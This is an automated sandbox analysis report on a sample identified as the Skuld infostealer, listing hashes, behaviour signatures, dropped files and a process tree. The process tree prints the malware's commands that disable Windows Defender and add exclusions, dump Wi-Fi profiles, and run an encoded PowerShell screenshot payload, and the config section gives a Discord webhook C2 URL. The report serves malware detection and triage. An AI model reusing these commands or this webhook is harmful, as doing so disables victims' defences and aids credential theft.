Analysis

  • max time kernel
    37s
  • max time network
    40s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    31-08-2024 21:22

General

  • Target

    techs trakker.exe

  • Size

    7.2MB

  • MD5

    e058497061e55a594f41ddf1731777e1

  • SHA1

    2505f2fa17819ca3c90276c33e2778df4e89cc21

  • SHA256

    aae79a120108698686a7068b54ea2e61304feb414ab55f7c1044cc367b9c40ea

  • SHA512

    c764069c2b5db0e1e0f244c66be5b77f64fad7a94ec453ee0aa9fc464116a2a4b59db7d5621af1cab89b01128499a294516b7c2a0f4b974a4ec35a8c07058173

  • SSDEEP

    98304:51dFqr5ELdSHy23RGrfp9cmXno4dMmX/N9qO/JbGcCO1Z2+1Agrwnr4S78kzaEY:HdyELdSH13Y3bXoPmvz3BsrpWEY

Malware Config

Extracted

Family

skuld

C2

https://discord.com/api/webhooks/1277691236987175005/BuCyscoGYYvnAAqk6JdpsU8S8ItUWoyOyXeNy4pNMVCDMQ-PZCdW84vCDRdjAtp-y16a

Signatures

  • Skuld stealer

    An info stealer written in Go lang.

  • Credentials from Password Stores: Credentials from Web Browsers 1 TTPs

    Malicious Access or copy of Web Browser Credential store.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Drops file in Drivers directory 3 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • UPX packed file 6 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Maps connected drives based on registry 3 TTPs 2 IoCs

    Disk information is often read in order to detect sandboxing environments.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 1 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

  • Detects videocard installed 1 TTPs 2 IoCs

    Uses WMIC.exe to determine videocard installed.

  • GoLang User-Agent 1 IoCs

    Uses default user-agent string defined by GoLang HTTP packages.

  • Modifies system certificate store 2 TTPs 9 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 32 IoCs
  • Views/modifies file attributes 1 TTPs 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\techs trakker.exe
    "C:\Users\Admin\AppData\Local\Temp\techs trakker.exe"
    1⤵
    • Drops file in Drivers directory
    • Adds Run key to start application
    • Maps connected drives based on registry
    • Modifies system certificate store
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1756
    • C:\Windows\system32\attrib.exe
      attrib +h +s "C:\Users\Admin\AppData\Local\Temp\techs trakker.exe"
      2⤵
      • Views/modifies file attributes
      PID:3452
    • C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
      2⤵
      • Views/modifies file attributes
      PID:4712
    • C:\Windows\System32\Wbem\wmic.exe
      wmic csproduct get UUID
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:796
    • C:\Windows\System32\Wbem\wmic.exe
      wmic path win32_VideoController get name
      2⤵
      • Detects videocard installed
      • Suspicious use of AdjustPrivilegeToken
      PID:3204
    • C:\Windows\System32\Wbem\wmic.exe
      wmic os get Caption
      2⤵
        PID:4432
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\techs trakker.exe"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:4472
      • C:\Windows\System32\Wbem\wmic.exe
        wmic cpu get Name
        2⤵
          PID:3296
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:2216
        • C:\Windows\System32\Wbem\wmic.exe
          wmic path win32_VideoController get name
          2⤵
          • Detects videocard installed
          PID:440
        • C:\Windows\System32\Wbem\wmic.exe
          wmic csproduct get UUID
          2⤵
            PID:3980
          • C:\Windows\system32\netsh.exe
            netsh wlan show profiles
            2⤵
            • Event Triggered Execution: Netsh Helper DLL
            • System Network Configuration Discovery: Wi-Fi Discovery
            PID:1608
          • C:\Windows\system32\attrib.exe
            attrib -r C:\Windows\System32\drivers\etc\hosts
            2⤵
            • Drops file in Drivers directory
            • Views/modifies file attributes
            PID:1768
          • C:\Windows\system32\attrib.exe
            attrib +r C:\Windows\System32\drivers\etc\hosts
            2⤵
            • Drops file in Drivers directory
            • Views/modifies file attributes
            PID:376
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:3488
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
              "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\2kyyds4c\2kyyds4c.cmdline"
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:1144
              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESC35F.tmp" "c:\Users\Admin\AppData\Local\Temp\2kyyds4c\CSCBF2EA631DEEE4FCD9EEEE0D32F5FC86C.TMP"
                4⤵
                  PID:3936

          Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

            Filesize

            2KB

            MD5

            d85ba6ff808d9e5444a4b369f5bc2730

            SHA1

            31aa9d96590fff6981b315e0b391b575e4c0804a

            SHA256

            84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

            SHA512

            8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            944B

            MD5

            6d3e9c29fe44e90aae6ed30ccf799ca8

            SHA1

            c7974ef72264bbdf13a2793ccf1aed11bc565dce

            SHA256

            2360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d

            SHA512

            60c38c4367352537545d859f64b9c5cbada94240478d1d039fd27b5ecba4dc1c90051557c16d802269703b873546ead416279c0a80c6fd5e49ad361cef22596a

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            944B

            MD5

            83685d101174171875b4a603a6c2a35c

            SHA1

            37be24f7c4525e17fa18dbd004186be3a9209017

            SHA256

            0c557845aab1da497bbff0e8fbe65cabf4cb2804b97ba8ae8c695a528af70870

            SHA512

            005a97a8e07b1840abdcef86a7881fd9bdc8acbfdf3eafe1dceb6374060626d81d789e57d87ca4096a39e28d5cca00f8945edff0a747591691ae75873d2b3fb5

          • C:\Users\Admin\AppData\Local\Temp\2kyyds4c\2kyyds4c.dll

            Filesize

            4KB

            MD5

            2d47cce8b2d9354aad438d01b839e9c4

            SHA1

            cb6e1826cdab68938af02abf38c03de198118a73

            SHA256

            415a0a76bedd0f059b691383aab694ac61651f5ac3ae81e718aeb7d50f2597af

            SHA512

            75f8644f2757b1d441b377980338688ffd74a61c8111944d92107f04cf1c9174eb1dd39cccb6609132acde3fbab1645025b6e797339fcc485abdc3573a6c37ca

          • C:\Users\Admin\AppData\Local\Temp\RESC35F.tmp

            Filesize

            1KB

            MD5

            ef4be8b8bfeeff0c84bc68a5bde4da06

            SHA1

            bda3bf60fdeb15816d22f7d0c14db18407f77d50

            SHA256

            5e70f06955cae04154ee5b2f664aeeba4be40dba426ce20562ccab6ddaa56919

            SHA512

            7fb86ecc84a26aa42696053ba1ab4db6c0ad27773720bff37a16dc6e8329787451cd09476778ed4ef95cd376c07c9442d344c43977d3cf141719e09c9b59468d

          • C:\Users\Admin\AppData\Local\Temp\ZqooLzxr6k\Display (1).png

            Filesize

            424KB

            MD5

            1a9d64f8fd84939be713e15288242526

            SHA1

            c8f7ace5b5b329046f9d5d12e2ee8f24e918cafe

            SHA256

            a53ecdb960ec958447dece063a3228d0ff6be681879ce651933779fe17a23cd0

            SHA512

            e895627a2e55f4655f78db0e404044c2da4d8653f226f98b5be4ea84ff44e16967664b4d1b0b6a41a8944230d7ecf617ba7ef3a92c3669c8db99a960a901958c

          • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qjzemah5.anl.ps1

            Filesize

            60B

            MD5

            d17fe0a3f47be24a6453e9ef58c94641

            SHA1

            6ab83620379fc69f80c0242105ddffd7d98d5d9d

            SHA256

            96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

            SHA512

            5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

          • C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe

            Filesize

            7.2MB

            MD5

            e058497061e55a594f41ddf1731777e1

            SHA1

            2505f2fa17819ca3c90276c33e2778df4e89cc21

            SHA256

            aae79a120108698686a7068b54ea2e61304feb414ab55f7c1044cc367b9c40ea

            SHA512

            c764069c2b5db0e1e0f244c66be5b77f64fad7a94ec453ee0aa9fc464116a2a4b59db7d5621af1cab89b01128499a294516b7c2a0f4b974a4ec35a8c07058173

          • C:\Windows\System32\drivers\etc\hosts

            Filesize

            2KB

            MD5

            6e2386469072b80f18d5722d07afdc0b

            SHA1

            032d13e364833d7276fcab8a5b2759e79182880f

            SHA256

            ade1813ae70d7da0bfe63d61af8a4927ed12a0f237b79ce1ac3401c0646f6075

            SHA512

            e6b96f303935f2bbc76f6723660b757d7f3001e1b13575639fb62d68a734b4ce8c833b991b2d39db3431611dc2cacde879da1aecb556b23c0d78f5ee67967acb

          • \??\c:\Users\Admin\AppData\Local\Temp\2kyyds4c\2kyyds4c.0.cs

            Filesize

            1004B

            MD5

            c76055a0388b713a1eabe16130684dc3

            SHA1

            ee11e84cf41d8a43340f7102e17660072906c402

            SHA256

            8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7

            SHA512

            22d2804491d90b03bb4b640cb5e2a37d57766c6d82caf993770dcf2cf97d0f07493c870761f3ecea15531bd434b780e13ae065a1606681b32a77dbf6906fb4e2

          • \??\c:\Users\Admin\AppData\Local\Temp\2kyyds4c\2kyyds4c.cmdline

            Filesize

            607B

            MD5

            96c318e5a572322f9e5f81277f616dd8

            SHA1

            61959536ed33537247a235e8ac710ac622e92742

            SHA256

            ccd0da926e39e3cb738013c03428871b707e13874e35b0a600b0e150cbcd0e43

            SHA512

            b40b2a3ff0741a3a7818e0f056cbd96d13bdb9a0fca2479700feed86ee2e3b37e8e8ffb215b4177780dbfa2afd4a67908553584affba3ae86a58a0967cfc5da1

          • \??\c:\Users\Admin\AppData\Local\Temp\2kyyds4c\CSCBF2EA631DEEE4FCD9EEEE0D32F5FC86C.TMP

            Filesize

            652B

            MD5

            c1462c7eb1cb2d96e8ca3b11ea4e22d9

            SHA1

            6710204e167038d46c54e719cfa9e68cad6eefbe

            SHA256

            ce22f9c7a5e2f6ed30896718b6d1eedacb31655811adb03fa4dede37a6987882

            SHA512

            47e581b06776e4429a65ca46e2c252f577545657f2f50afbd0ba1bad3e515008899bfa3cc19af0f573a391491619f94c5f9c02b0cb66d4f801f83cf76a6d2ee6

          • memory/1756-0-0x00000000002B0000-0x000000000118E000-memory.dmp

            Filesize

            14.9MB

          • memory/1756-64-0x00000000002B0000-0x000000000118E000-memory.dmp

            Filesize

            14.9MB

          • memory/1756-65-0x00000000002B0000-0x000000000118E000-memory.dmp

            Filesize

            14.9MB

          • memory/1756-66-0x00000000002B0000-0x000000000118E000-memory.dmp

            Filesize

            14.9MB

          • memory/1756-67-0x00000000002B0000-0x000000000118E000-memory.dmp

            Filesize

            14.9MB

          • memory/3488-59-0x00000217B8A60000-0x00000217B8A68000-memory.dmp

            Filesize

            32KB

          • memory/4472-10-0x000001F95A7A0000-0x000001F95A7C2000-memory.dmp

            Filesize

            136KB